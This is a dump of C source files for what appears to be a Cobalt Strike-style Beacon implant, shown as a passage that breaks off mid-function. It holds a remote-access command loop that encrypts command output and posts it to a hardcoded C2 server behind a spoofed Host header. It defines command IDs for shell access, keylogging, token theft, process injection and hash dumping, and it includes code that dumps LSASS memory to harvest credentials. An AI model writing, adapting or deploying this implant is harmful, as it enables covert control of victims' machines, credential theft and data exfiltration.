Read the result from the anonymous pipe into the output buffer bool lastTime = false; bool firstTime = true; OVERLAPPED overlap = { 0 }; DWORD readbytes = 0; DWORD availbytes = 0; unsigned char buffff[1024 * 50]; while (!lastTime) { DWORD event = WaitForSingleObject(pi.hProcess, 0); if (event == WAIT_OBJECT_0 || event == WAIT_FAILED) { lastTime = TRUE; } if (!PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL)) break; while (lastTime == false && availbytes == 0) { DWORD event = WaitForSingleObject(pi.hProcess, 5000); PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL); } //if (!availbytes) break; //if (!ReadFile(hReadPipe, buffff, min(sizeof(buffff) - 1, availbytes), &readbytes, NULL) || !readbytes) break; if (lastTime == false || availbytes != 0) { ReadFile(hReadPipe, buffff, sizeof(buffff), NULL, &overlap); } DWORD bytesTransferred; ULONG_PTR completionKey; LPOVERLAPPED pOverlapped; if (overlap.InternalHigh > 0) { if (firstTime) { DataProcess(buffff, overlap.InternalHigh, 0); firstTime = false; } else { if (lastTime == false) { /* uint8_t requestIDBytes[5] = "[+] "; uint8_t nnnn[4] = " :\n";*/ uint8_t* metaInfoBytes1[] = { buffff }; size_t metaInfosizes1[] = { overlap.InternalHigh }; size_t metaInfoBytesArrays1 = sizeof(metaInfoBytes1) / sizeof(metaInfoBytes1[0]); uint8_t* metaInfoconcatenated1 = ConByte(metaInfoBytes1, metaInfosizes1, metaInfoBytesArrays1); size_t metaInfoSize1 = 0; // sizeof ֵܺ for (size_t i = 0; i < sizeof(metaInfosizes1) / sizeof(metaInfosizes1[0]); ++i) { metaInfoSize1 += metaInfosizes1[i]; } DataProcess(metaInfoconcatenated1, metaInfoSize1, 0); } else { uint8_t jia[5] = "[+] "; uint8_t nnn[2] = "\n"; uint8_t end[75] = "-----------------------------------end-----------------------------------\n"; uint8_t* metaInfoBytes[] = { jia,end }; size_t metaInfosizes[] = { 5,75 }; size_t metaInfoBytesArrays = sizeof(metaInfoBytes) / sizeof(metaInfoBytes[0]); uint8_t* metaInfoconcatenated = ConByte(metaInfoBytes, metaInfosizes, metaInfoBytesArrays); size_t metaInfoSize = 0; // sizeof ֵܺ for (size_t i = 0; i < sizeof(metaInfosizes) / sizeof(metaInfosizes[0]); ++i) { metaInfoSize += metaInfosizes[i]; } DataProcess(metaInfoconcatenated, metaInfoSize, 0); } // buf[readbytes] = 0; //strncat(outbuf, buf, outbuf_size - strlen(outbuf) - 1); } } Sleep(2000); } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(hWritePipe); CloseHandle(hReadPipe); /* } else { return 0; }*/ } } datap* BeaconDataInit(int size) { char* pdata; datap* pdatap; pdatap = (datap*)malloc(sizeof(datap)); if (!pdatap) { return 0; } pdata = (char*)malloc(size); if (!pdata) { return 0; } memset(pdata, 0, size); BeaconDataParse(pdatap, pdata, size); return pdatap; } int BeaconDataCopyToBuffer1(datap* parser, char* buffer, int buffer_size) { int copy_size = BeaconDataInt(parser); if (!copy_size) { return 0; } if (copy_size + 1 > buffer_size) { return 0; } char* data = BeaconDataPtr(parser, copy_size); if (!data) { return 0; } memcpy(buffer, data, copy_size); buffer[copy_size] = 0; return copy_size + 1; } char* BeaconDataBuffer(datap* parser) { return parser->buffer; } void ParseAssember(unsigned char* buf, size_t* commandBuflen) { uint8_t callbackTypeByte[2]; uint8_t sleepTimeByte[2]; uint8_t offset[4]; unsigned char* callbackTypeBytestart = buf; unsigned char* sleepTimeBytestart = buf + 2; unsigned char* offsetstart = buf + 4; memcpy(callbackTypeByte, callbackTypeBytestart, 2); memcpy(sleepTimeByte, sleepTimeBytestart, 2); memcpy(offset, offsetstart, 4); uint32_t offsetType = bigEndianUint32(offset); uint16_t callBackType = Readshort(callbackTypeByte); uint16_t sleepTime = Readshort(sleepTimeByte); size_t ParseArgSize = 0; unsigned char* jobname = 0; unsigned char* csharp = 0; jobname = ParseArg(buf, &ParseArgSize); csharp = ParseArg(buf, &ParseArgSize); size_t dlllen = (size_t)commandBuflen - ParseArgSize; unsigned char* dll = (unsigned char*)malloc(dlllen); dll[dlllen] = '\0'; memcpy(dll, buf + ParseArgSize, dlllen); ExecuteAssmblyInjection(sleepTime, offsetType, dll, dlllen, csharp, ParseArgSize, jobname, 1, 0); } unsigned char* EXECUTE_ASSEMBLY(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen) { ParseAssember(buf, commandBuflen); } ================================================ FILE: Beacon/Command.c ================================================ #include #include "Command.h" #include "Http.h" #include #pragma warning(disable:4996) extern int SleepTime; extern int Counter; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; extern unsigned char AESRandaeskey[16];\ extern int clientID; struct Buffer { unsigned char* data; size_t capacity; size_t length; }; void buffer_init(struct Buffer* buf) { buf->data = malloc(1); // ʼΪ1 if (buf->data == NULL) { fprintf(stderr, "ڴʧ\n"); exit(EXIT_FAILURE); } buf->data[0] = '\0'; buf->capacity = 1; buf->length = 0; } void buffer_append(struct Buffer* buf, unsigned char* str, size_t* buflen) { size_t len = buflen; if (buf->data == NULL) { buf->data = (unsigned char*)malloc(len); if (buf->data == NULL) { fprintf(stderr, "ڴʧ\n"); exit(EXIT_FAILURE); } buf->capacity = len; buf->length = len; memcpy(buf->data, str, len); } else { size_t required_capacity = buf->length + len; if (required_capacity > buf->capacity) { while (required_capacity > buf->capacity) { buf->capacity *= 2; } unsigned char* new_data = (unsigned char*)realloc(buf->data, buf->capacity); if (new_data == NULL) { fprintf(stderr, "ڴʧ\n"); exit(EXIT_FAILURE); } buf->data = new_data; } memcpy(buf->data + buf->length, str, len); buf->length += len; } } void buffer_free(struct Buffer* buf) { free(buf->data); buf->data = NULL; buf->capacity = 0; buf->length = 0; } void SleepTimes(unsigned char* Buf) { // ȴָʱ䣨ԺΪλ uint8_t buf4[4]; memcpy(buf4, Buf, 4); uint32_t sleep = bigEndianUint32(buf4); SleepTime = sleep; } unsigned char* MakePacket(int callback,unsigned char* buff,size_t lenn,size_t* buflen) { Counter += 1; //printf("1111 %d\n", lenn); struct Buffer buf; buffer_init(&buf); uint8_t counterBytes[4]; PutUint32BigEndian(counterBytes, (uint32_t)Counter); buffer_append(&buf, counterBytes,4); //printf("buf.dat111 : %d\n", buf.length); for (size_t i = 0; i < buf.length; ++i) { //printf("0x%02x, ", buf.data[i]); } //printf("\n"); if (buff != NULL) { uint8_t resultLenBytes[4]; //printf("1111 %d\n", lenn); int resultLen = (int)lenn + 4; PutUint32BigEndian(resultLenBytes, (uint32_t)resultLen); for (size_t i = 0; i < 4; ++i) { //printf("0x%02x, ", resultLenBytes[i]); } buffer_append(&buf, resultLenBytes,4); //printf("buf.dat22222 : %d\n", buf.length); for (size_t i = 0; i < buf.length; ++i) { //printf("0x%02x, ", buf.data[i]); } } uint8_t replyTypeBytes[4]; PutUint32BigEndian(replyTypeBytes, (uint32_t)callback); buffer_append(&buf, replyTypeBytes,4); buffer_append(&buf, buff,lenn); size_t decryptAES_CBCdatalen; ////printf("\n"); ////printf("buf.dat33333 : %d\n", buf.length); //for (size_t i = 0; i < buf.length; ++i) { // //printf("0x%02x, ", buf.data[i]); //} ////printf("\n"); unsigned char* EncryptAES_CBCdata = AesCBCEncrypt(buf.data, AESRandaeskey, buf.length, &decryptAES_CBCdatalen); //printf("\n"); //printf("EncryptAES_CBCdata : %d\n", decryptAES_CBCdatalen); /* for (size_t i = 0; i < decryptAES_CBCdatalen; ++i) { //printf("0x%02x, ", EncryptAES_CBCdata[i]); } //printf("\n");*/ EncryptAES_CBCdata[decryptAES_CBCdatalen] = '\0'; unsigned char* encrypted; encrypted = EncryptAES_CBCdata + 16; buffer_free(&buf); int sendLen = decryptAES_CBCdatalen; uint8_t sendLenBytes[4]; PutUint32BigEndian(sendLenBytes, (uint32_t)sendLen); //printf("0000000000000000\n"); for (size_t i = 0; i < 4; ++i) { //printf("%d, ", sendLenBytes[i]); } //printf("\n"); buffer_init(&buf); buffer_append(&buf, sendLenBytes,4); buffer_append(&buf, encrypted, decryptAES_CBCdatalen-16); size_t encryptedBytesLen = decryptAES_CBCdatalen - 16; /* //printf("11111111111111111\n %d", encryptedBytesLen); for (size_t i = 0; i < encryptedBytesLen; ++i) { //printf("%d %d ", i, encrypted[i]); }*/ unsigned char* hmacResult = HMkey(encrypted, encryptedBytesLen); ////printf("222222222222222222\n %d"); //for (size_t i = 0; i <16; ++i) { // //printf("%d %d \n", i, hmacResult[i]); //} buffer_append(&buf, hmacResult,16); *buflen = buf.length; /*//printf("33333333333\n %d"); for (size_t i = 0; i < buf.length; ++i) { //printf("%d %d \n", i, buf.data[i]); }*/ return buf.data; } unsigned char* PushResult(unsigned char* finalPaket, size_t* buflen) { //printf("finalPaket 2: %d \n", buflen); int temp = clientID; int digitCount = 0; while (temp != 0) { temp /= 10; ++digitCount; } // ַijȣźֹ '\0' int charArrayLength = (clientID < 0) ? digitCount + 2 : digitCount + 1; // ʹ malloc ̬㹻ڴ洢תַ unsigned char* CharId = (unsigned char*)malloc(charArrayLength * sizeof(char)-1); if (CharId == NULL) { //printf("ڴʧ\n"); exit(EXIT_FAILURE); } // ʹ sprintf ֵתΪַ洢ڶ̬ڴ sprintf(CharId, "%d", clientID); size_t codelen; unsigned char* MaskEncodeid = MaskEncode(CharId, charArrayLength * sizeof(char)-1,&codelen); unsigned char netbiosKey = 'A'; // Replace 'a' with your desired key size_t NetbiosEncodeIdlen; unsigned char* id = NetbiosEncode(MaskEncodeid, strlen(MaskEncodeid), netbiosKey, &NetbiosEncodeIdlen); id[NetbiosEncodeIdlen] = '\0'; //printf("id %s: \n", id); //for (size_t i = 0; i < NetbiosEncodeIdlen; ++i) { // //printf("%d ", id[i]); //} //printf("\n"); size_t codelen1; //printf("finalPaket 3: %d \n", buflen); //for (size_t i = 0; i < buflen; ++i) { // //printf("%d ", finalPaket[i]); //} ////printf("\n"); unsigned char* MaskEncodedata = MaskEncode(finalPaket, buflen, &codelen1); char* data = base64Encode(MaskEncodedata, codelen1); char header[] = "User:"; struct curl_slist* headers = NULL; char* concatenatedString = (char*)malloc(strlen(id) +strlen(header) + strlen(Http_post_id_prepend) + strlen(Http_post_id_append) + 1); //strcpy(concatenatedString, Http_post_id_prepend); //strcat(concatenatedString, id); //strcat(concatenatedString, Http_post_id_append); snprintf(concatenatedString, strlen(id)+ strlen(header) + strlen(Http_post_id_prepend) + strlen(Http_post_id_append) + 1, "%s%s%s%s", header, Http_post_id_prepend, id, Http_post_id_append); // //printf("3333333 %s ", concatenatedString); headers = curl_slist_append(headers, "Host:aliyun.com"); headers = curl_slist_append(headers, concatenatedString); //printf("Concatenated String: %s\n", concatenatedString); char* datastring = (char*)malloc(strlen(data) + strlen(Http_post_client_output_prepend) + strlen(Http_post_client_output_append) + 1); /*memcpy(datastring,Http_post_client_output_prepend, strlen(Http_post_client_output_prepend)); memcpy(datastring+ strlen(Http_post_client_output_prepend), data, strlen(data)); memcpy(datastring + strlen(Http_post_client_output_prepend)+ strlen(data), Http_post_client_output_append,strlen(Http_post_client_output_append));*/ strcpy(datastring, Http_post_client_output_prepend); strcat(datastring, data); strcat(datastring, Http_post_client_output_append); perform_post_request(Http_Post_uri, headers, datastring); } unsigned char* criticalSection(unsigned char* buf, size_t lenn,int callback) { size_t buflen; unsigned char* finalPaket = MakePacket(callback, buf, lenn, &buflen); /* //printf("finalPaket1 : %d\n", buflen); for (size_t i = 0; i < buflen; ++i) { //printf("0x%02x, ", finalPaket[i]); } //printf("\n");*/ unsigned char* result = PushResult(finalPaket, buflen); } void DataProcess(unsigned char* buf, size_t lenn, int callback) { buf[lenn] = '\0'; if (callback == 0) { size_t outputLen; unsigned char* utf8Buf = CodepageToUTF8(buf, lenn, &outputLen); if (utf8Buf != NULL) { //printf("UTF-8 output: %s\n", utf8Buf); // ʹutf8BufкҪͷڴ // 磬CodepageToUTF8ڴ棬Ҫʹfree(utf8Buf)ͷ // CodepageToUTF8ʵȷǷҪͷڴ } } criticalSection(buf, lenn, callback); } void BeaconFormatAlloc(formatp* format, int maxsz) { char* buff = (char*)malloc(maxsz); return BeaconFormatInit(format, buff, maxsz); } void BeaconFormatInit(formatp* format, char* buff, int buffsize) { format->length = 0; format->original = buff; format->buffer = buff; format->size = buffsize; memset(buff, 0, buffsize); } void BeaconFormatPrintf(formatp* format, char* fmt, ...) { va_list ArgList; va_start(ArgList, fmt); int v2 = vprintf(fmt, ArgList); if (v2 > 0) { int size = format->size - format->length; if (v2 < size) { int v4 = vsprintf_s(format->buffer, size, fmt, ArgList); format->buffer += v4; format->length += v4; } } } int BeaconFormatlength(formatp* format) { return format->length; } void BeaconFormatFree(formatp* format) { memset(format->original, 0, format->size); free(format->original); } char* BeaconDataPtr2(datap* parser) { int size = BeaconDataInt(parser); if (size) { return BeaconDataPtr(parser, size); } return 0; } char* BeaconDataPtr3(datap* parser, int* outsize) { int size = BeaconDataInt(parser); if (size) { *outsize = size; return BeaconDataPtr(parser, size); } return 0; } void BeaconDataParse(datap* parser, char* buffer, int size) { parser->original = buffer; parser->buffer = buffer; parser->length = size; parser->size = size; } char* BeaconDataPtr(datap* parser, int size) { char* result = 0; if (parser->length < size) { return 0; } result = parser->buffer; parser->buffer += size; parser->length -= size; return result; } int BeaconDataInt(datap* parser) { int result; if (parser->length < sizeof(int)) { return 0; } result = ntohl(*(u_long*)parser->buffer); parser->buffer += sizeof(int); parser->length += sizeof(int); return result; } short BeaconDataShort(datap* parser) { short result; if (parser->length < sizeof(short)) { return 0; } result = ntohs(*(u_short*)parser->buffer); parser->buffer += sizeof(short); parser->length -= sizeof(short); return result; } int BeaconDataLength(datap* parser) { return parser->length; } char* BeaconDataExtract(datap* parser, int* outsize) { int size = 0; char* data = BeaconDataPtr3(parser, &size); if (outsize) { *outsize = size; } return size != 0 ? data : 0; } void BeaconFormatReset(formatp* format) { format->buffer = format->original; format->length = 0; } void BeaconFormatAppend(formatp* format, char* text, int len) { if (len < format->size - format->length) { if (len) { memcpy(format->buffer, text, len); format->buffer += len; format->length += len; } } } char* BeaconFormatOriginalPtr(formatp* format) { return format->original; } char* BeaconFormatToString(formatp* format, int* size) { if (!size) { return 0; } int length = BeaconFormatlength(format); *size = length; return BeaconFormatOriginalPtr(format); } void BeaconFormatInt(formatp* format, int value) { value = htonl(value); BeaconFormatAppend(format, (char*)&value, 4); } datap* BeaconMaketoken; extern HANDLE pTokenHandle; void BeaconErrorD() { return; } void BeaconRevertToken() { return; } void BeaconErrorDD() { return; } void BeaconErrorNA() { return; } BOOL is_admin() { struct _SID_IDENTIFIER_AUTHORITY pIdentifierAuthority; PSID pSid; BOOL IsMember; pIdentifierAuthority.Value[0] = 0; pIdentifierAuthority.Value[1] = 0; pIdentifierAuthority.Value[2] = 0; pIdentifierAuthority.Value[3] = 0; pIdentifierAuthority.Value[4] = 0; pIdentifierAuthority.Value[5] = 5; IsMember = AllocateAndInitializeSid(&pIdentifierAuthority, 2u, 0x20u, 0x220u, 0, 0, 0, 0, 0, 0, &pSid); if (!IsMember) { return IsMember; } if (!CheckTokenMembership(0, pSid, &IsMember)) { IsMember = 0; } FreeSid(pSid); return IsMember; } int Is_Wow64(HANDLE hProcess) { HMODULE kernel32base; BOOL(__stdcall * IsWow64Process)(HANDLE, PBOOL); int result; int v4 = 0; kernel32base = GetModuleHandleA("kernel32"); IsWow64Process = (BOOL(__stdcall*)(HANDLE, PBOOL))GetProcAddress(kernel32base, "IsWow64Process"); if (!IsWow64Process || (result = IsWow64Process(hProcess, &v4)) != 0) { result = v4; } return result; } void resolve_spawntopath(LPSTR lpDst, BOOL x86) { char Buffer[256]; memset(Buffer, 0, sizeof(Buffer)); if (!x86) { /* if (spawntoPath_x64 && strlen(spawntoPath_x64)) { _snprintf(Buffer, 0x100u, "%s", spawntoPath_x64); BeaconExpandEnvironmentStringsA(Buffer, lpDst, 0x100u); return; } char* post_ex_spawnto_x64 = get_str(30); _snprintf(Buffer, 0x100u, "%s", post_ex_spawnto_x64); BeaconExpandEnvironmentStringsA(Buffer, lpDst, 0x100);*/ return; } /* if (!spawntoPath_x86 || !strlen(spawntoPath_x86)) { char* post_ex_spawnto_x86 = get_str(29); _snprintf(Buffer, 0x100u, "%s", post_ex_spawnto_x86); BeaconExpandEnvironmentStringsA(Buffer, lpDst, 0x100); return; }*/ } void getspawntopath(char* path_buffer, BOOL x86) { memset(path_buffer, 0, 256); if (!x86) { resolve_spawntopath(path_buffer, 0); return; } HANDLE hPrcoess = GetCurrentProcess(); if (Is_Wow64(hPrcoess)) { resolve_spawntopath(path_buffer, 1); return; } resolve_spawntopath(path_buffer, 1); char* pch = strstr(path_buffer, "syswow64"); if (pch) { memcpy(pch, "system32", 8); } } typedef struct STARTUPINFOA { DWORD cb; LPSTR lpReserved; LPSTR lpDesktop; LPSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; }; typedef struct { char* path; /*·*/ int path_size; /*·*/ STARTUPINFOA* pSTARTUPINFOA; PROCESS_INFORMATION* pPROCESS_INFORMATION; DWORD dwCreationFlags; BOOL ignoreToken; } BeaconStartProcess; int CreateProcessCore (BeaconStartProcess* pBeaconStartProcess) { if (!CreateProcessA( NULL, pBeaconStartProcess->path, NULL, NULL, TRUE, pBeaconStartProcess->dwCreationFlags, NULL, NULL, pBeaconStartProcess->pSTARTUPINFOA, pBeaconStartProcess->pPROCESS_INFORMATION)) { int LastError = GetLastError(); return 0; } return 1; } int BeaconCreateProcess(char* path, int path_size, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo, int dwCreationFlags, int ignoreToken, int PPID) { BeaconStartProcess pStartProcess; pStartProcess.path = path; pStartProcess.path_size = path_size; pStartProcess.pSTARTUPINFOA = sInfo; pStartProcess.pPROCESS_INFORMATION = pInfo; pStartProcess.dwCreationFlags = dwCreationFlags; pStartProcess.ignoreToken = ignoreToken; return CreateProcessCore(&pStartProcess); } ////ƭ //DWORD gBeaconPPID; //int BeaconExecuteCommand(char* path, int path_size, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo, int dwCreationFlags, int ignoreToken) //{ // return BeaconCreateProcess(path, path_size, sInfo, pInfo, dwCreationFlags, ignoreToken, gBeaconPPID); //} void BeaconcloseAllHandle(PROCESS_INFORMATION* pi) { if (pi->hProcess != (HANDLE)-1 && pi->hProcess) { CloseHandle(pi->hProcess); } if (pi->hThread != (HANDLE)-1) { if (pi->hThread) { CloseHandle(pi->hThread); } } } BOOL __cdecl toWideChar(char* lpMultiByteStr, wchar_t* lpWideCharStr, unsigned int max) { unsigned int size; size = MultiByteToWideChar(0, 0, lpMultiByteStr, -1, 0, 0); if (size == -1 || size >= max) { return 0; } MultiByteToWideChar(0, 0, lpMultiByteStr, -1, lpWideCharStr, max); return 1; } int CheckMemoryRWX(LPVOID lpAddress, SIZE_T dwSize) { DWORD flOldProtect; if (VirtualProtect(lpAddress, dwSize, PAGE_EXECUTE_READWRITE, &flOldProtect)) { return 1; } //BeaconErrorD(0x11, GetLastError()); return 0; } ================================================ FILE: Beacon/Command.h ================================================ #pragma once #include #include #include #include #include #include #include #include #include #include #include #include #include "Config.h" #include "Util.h" #include "Bof.h"; typedef struct { int JobNumber; HANDLE pHandle; HANDLE hThread; int dwProcessId; int dwThreadId; HANDLE hReadPipe; HANDLE hWritePipe; struct BeaconJob* Linked; BOOL state; BOOL kill; int JobProcessPid; int JobType; short lasting; char JobName[64]; }BeaconJob; void SleepTimes(unsigned char* Buf); unsigned char* CmdFileBrowse(unsigned char* commandBuf, size_t* lenn); void DataProcess(unsigned char* buf, size_t lenn, int callback); unsigned char* parseUpload(unsigned char* commandBuf, size_t* commandBuflen, size_t* lenn, int chunkNumber); unsigned char* CmdDrives(unsigned char* commandBuf, size_t* commandBuflen); unsigned char* cmdMkdir(unsigned char* cmdBuf, size_t* commandBuflen, size_t* Bufflen); unsigned char* fileRemove(unsigned char* cmdBuf, size_t* commandBuflen, size_t* Bufflen); unsigned char* Download(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen); unsigned char* Cmdshell(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen); void __cdecl BeaconBof(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen); //unsigned char* EXECUTE_ASSEMBLY(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen); //unsigned char* EXECUTE_ASSEMBLY(unsigned char* Taskdata, size_t* Task_size, int x86, int ignoreToken); unsigned char* EXECUTE_ASSEMBLY(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen); void PipeJob(unsigned char* buf, size_t* commandBuflen, size_t* Bufflen); void ProcessInject(int pid, PROCESS_INFORMATION* pi, HANDLE hProcess, char* payload, size_t p_len, int p_offset, char* arg, int a_len); BeaconJob* Add_Beacon_0Job(HANDLE hProcess, HANDLE hThread, int dwProcessId, int dwThreadId, HANDLE hReadPipe, HANDLE hWritePipe, const char* jobname); void CheckTimeout(HANDLE hNamedPipe, int timeout); void beacon_ps(char* Taskdata, int Task_size); int DumpHASH(); int Is_Wow64(HANDLE hProcess); int BeaconFormatlength(formatp* format); void BeaconFormatFree(formatp* format); void BeaconFormatAlloc(formatp* format, int maxsz); void BeaconFormatInit(formatp* format, char* buff, int buffsize); void BeaconFormatPrintf(formatp* format, char* fmt, ...); void BeaconDataParse(datap* parser, char* buffer, int size); char* BeaconDataPtr(datap* parser, int size); char* BeaconDataPtr2(datap* parser); int BeaconDataInt(datap* parser); short BeaconDataShort(datap* parser); int BeaconDataLength(datap* parser); char* BeaconDataExtract(datap* parser, int* outsize); void BeaconFormatReset(formatp* format); void BeaconFormatAppend(formatp* format, char* text, int len); char* BeaconFormatToString(formatp* format, int* size); void BeaconFormatInt(formatp* format, int value); void BeaconErrorNA(); void BeaconErrorDD(); void BeaconRevertToken(); void BeaconErrorD(); void BeaconSpawn(char* Taskdata, int Task_size); void BeaconReflectiveDLLInject(char* payload, int payloadsize); int BeaconDataCopyToBuffer1(datap* parser, char* buffer, int buffer_size); BOOL is_admin(); int BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo); void BeaconcloseAllHandle(PROCESS_INFORMATION* pi); BOOL __cdecl toWideChar(char* lpMultiByteStr, wchar_t* lpWideCharStr, unsigned int max); char* BeaconFormatOriginalPtr(formatp* format); int CheckMemoryRWX(LPVOID lpAddress, SIZE_T dwSize); char* BeaconDataPtr3(datap* parser, int* outsize); #define CALLBACK_OUTPUT 0 #define CALLBACK_KEYSTROKES 1 #define CALLBACK_FILE 2 #define CALLBACK_SCREENSHOT 3 #define CALLBACK_CLOSE 4 #define CALLBACK_READ 5 #define CALLBACK_CONNECT 6 #define CALLBACK_PING 7 #define CALLBACK_FILE_WRITE 8 #define CALLBACK_FILE_CLOSE 9 #define CALLBACK_PIPE_OPEN 10 #define CALLBACK_PIPE_CLOSE 11 #define CALLBACK_PIPE_READ 12 #define CALLBACK_POST_ERROR 13 #define CALLBACK_PIPE_PING 14 #define CALLBACK_TOKEN_STOLEN 15 #define CALLBACK_TOKEN_GETUID 16 #define CALLBACK_PROCESS_LIST 17 #define CALLBACK_POST_REPLAY_ERROR 18 #define CALLBACK_PWD 19 #define CALLBACK_JOBS 20 #define CALLBACK_HASHDUMP 21 #define CALLBACK_PENDING 22 #define CALLBACK_ACCEPT 23 #define CALLBACK_NETVIEW 24 #define CALLBACK_PORTSCAN 25 #define CALLBACK_DEAD 26 #define CALLBACK_SSH_STATUS 27 #define CALLBACK_CHUNK_ALLOCATE 28 #define CALLBACK_CHUNK_SEND 29 #define CALLBACK_OUTPUT_OEM 30 #define CALLBACK_ERROR 31 #define CALLBACK_OUTPUT_UTF8 32 #define CMD_TYPE_SLEEP 4 #define CMD_TYPE_PAUSE 47 #define CMD_TYPE_SHELL 78 #define CMD_TYPE_UPLOAD_START 10 #define CMD_TYPE_UPLOAD_LOOP 67 #define CMD_TYPE_DOWNLOAD 11 #define CMD_TYPE_Jobs 41 #define CMD_TYPE_Jobskill 42 #define CMD_TYPE_EXIT 3 #define CMD_TYPE_CD 5 #define CMD_TYPE_PWD 39 #define CMD_TYPE_FILE_BROWSE 53 #define CMD_TYPE_SPAWN_X64 44 #define CMD_TYPE_SPAWN_X86 1 #define CMD_TYPE_EXECUTE 12 #define CMD_TYPE_GETUID 27 #define CMD_TYPE_GET_PRIVS 77 #define CMD_TYPE_STEAL_TOKEN 31 #define CMD_TYPE_PS 32 #define CMD_TYPE_KILL 33 #define CMD_TYPE_DRIVES 55 #define CMD_TYPE_RUNAS 38 #define CMD_TYPE_MKDIR 54 #define CMD_TYPE_RM 56 #define CMD_TYPE_CP 73 #define CMD_TYPE_MV 74 #define CMD_TYPE_REV2SELF 28 #define CMD_TYPE_MAKE_TOKEN 49 #define CMD_TYPE_PIPE 40 #define CMD_TYPE_PORTSCAN_X86 89 #define CMD_TYPE_PORTSCAN_X64 90 #define CMD_TYPE_KEYLOGGER 101 #define CMD_TYPE_EXECUTE_ASSEMBLY_X64 88 #define CMD_TYPE_EXECUTE_ASSEMBLY_X86 87 #define CMD_TYPE_EXECUTE_ASSEMBLY_TOKEN_X64 71 #define CMD_TYPE_EXECUTE_ASSEMBLY_TOKEN_X86 70 #define CMD_TYPE_IMPORT_POWERSHELL 37 #define CMD_TYPE_POWERSHELL_PORT 79 #define CMD_TYPE_INJECT_X64 43 #define CMD_TYPE_INJECT_X86 9 #define CMD_TYPE_BOF 100 #define CMD_TYPE_RUNU 76 #define CMD_TYPE_ARGUE_QUERY 85 #define CMD_TYPE_ARGUE_REMOVE 84 #define CMD_TYPE_ARGUE_ADD 83 #define CMD_TYPE_DumpHHH 103 ================================================ FILE: Beacon/Config.c ================================================ #include "Config.h" #include const char Http_get_uri[] = "http://10.10.100.74:80/www/handle/doc"; const char Http_Post_uri[] = "http://10.10.100.74:80/IMXo"; unsigned char* pub_key_str ="-----BEGIN PUBLIC KEY-----\n" "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCTWvb4Msb5iR3d+0DbOnj1HJ1ewGTxZgCyCxqT\n" "-----END PUBLIC KEY-----\n"; unsigned char* metadata_prepend = "SESSIONID="; unsigned char* metadata_header = "Cookie:"; //ÔÚprofileÖв»ÓüÓ:ºÅ unsigned char* Response_prepend = "data="; unsigned char* Response_append = "%%"; unsigned char* Http_post_id_prepend = "user="; unsigned char* Http_post_id_append = "%%"; unsigned char* Http_post_client_output_prepend = "data="; unsigned char* Http_post_client_output_append = "%%"; unsigned char IV[] = "abcdefghijklmnop"; int SleepTime = 3000; int Counter = 0; ================================================ FILE: Beacon/Config.h ================================================ #pragma once #include #include #include unsigned char* metadata_prepend; unsigned char* metadata_header; extern const char Http_get_uri[]; extern const char Http_Post_uri[]; unsigned char* Http_post_id_prepend; unsigned char* Http_post_id_append; unsigned char* Http_post_client_output_prepend; unsigned char* Http_post_client_output_append; extern unsigned char* pub_key_str; unsigned char* Response_prepend; unsigned char* Response_append; unsigned char IV[]; int SleepTime; unsigned char AESRandaeskey[16]; unsigned char Hmackey[16]; int Counter; int clientID; ================================================ FILE: Beacon/DunpHash.c ================================================  #include "windows.h" #include "stdio.h" #include #include #include "ntdef.h" #include "Util.h" LPVOID gDumpBuffer = NULL; DWORD gBytesRead = 0; #define MAX_LSASS_DMP_SIZE 314572800 void RestoreOriginalPidTeb(DWORD originalPid, DWORD originalTid); BOOL MinidumpCallbackRoutine(PVOID CallbackParam, PMINIDUMP_CALLBACK_INPUT callbackInput, PMINIDUMP_CALLBACK_OUTPUT callbackOutput) { LPVOID destination = 0, source = 0; DWORD bufferSize = 0; switch (callbackInput->CallbackType) { case IoStartCallback: callbackOutput->Status = S_FALSE; break; // Gets called for each lsass process memory read operation case IoWriteAllCallback: callbackOutput->Status = S_OK; // A chunk of minidump data that's been jus read from lsass. // This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it. // We will simply save it to dumpBuffer. source = callbackInput->Io.Buffer; // Calculate location of where we want to store this part of the dump. // Destination is start of our dumpBuffer + the offset of the minidump data destination = (LPVOID)((DWORD_PTR)gDumpBuffer + (DWORD_PTR)callbackInput->Io.Offset); // Size of the chunk of minidump that's just been read. bufferSize = callbackInput->Io.BufferBytes; gBytesRead += bufferSize; RtlCopyMemory(destination, source, bufferSize); //printf("[+] Minidump offset: 0x%x; length: 0x%x\n", callbackInput->Io.Offset, bufferSize); break; case IoFinishCallback: callbackOutput->Status = S_OK; break; default: return TRUE; } return TRUE; } void EnableDebugPrivilege(BOOL enforceCheck) { HANDLE currentProcessToken = NULL; OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, ¤tProcessToken); BOOL setPrivilegeSuccess = SetPrivilege(currentProcessToken, L"SeDebugPrivilege", TRUE); if (enforceCheck && !setPrivilegeSuccess) { printf("SetPrivilege failed to enable SeDebugPrivilege. Run it as an Administrator. Exiting...\n"); exit(-1); } CloseHandle(currentProcessToken); } BOOL SetPrivilege(HANDLE hToken, wchar_t* lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; PRIVILEGE_SET privs; LUID luid; BOOL debugPrivEnabled = FALSE; if (!LookupPrivilegeValueW(NULL, lpszPrivilege, &luid)) { printf("LookupPrivilegeValueW() failed, error %u\n", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; //tp.Privileges[0].Luid = luid; memcpy(&tp.Privileges[0].Luid, &luid, 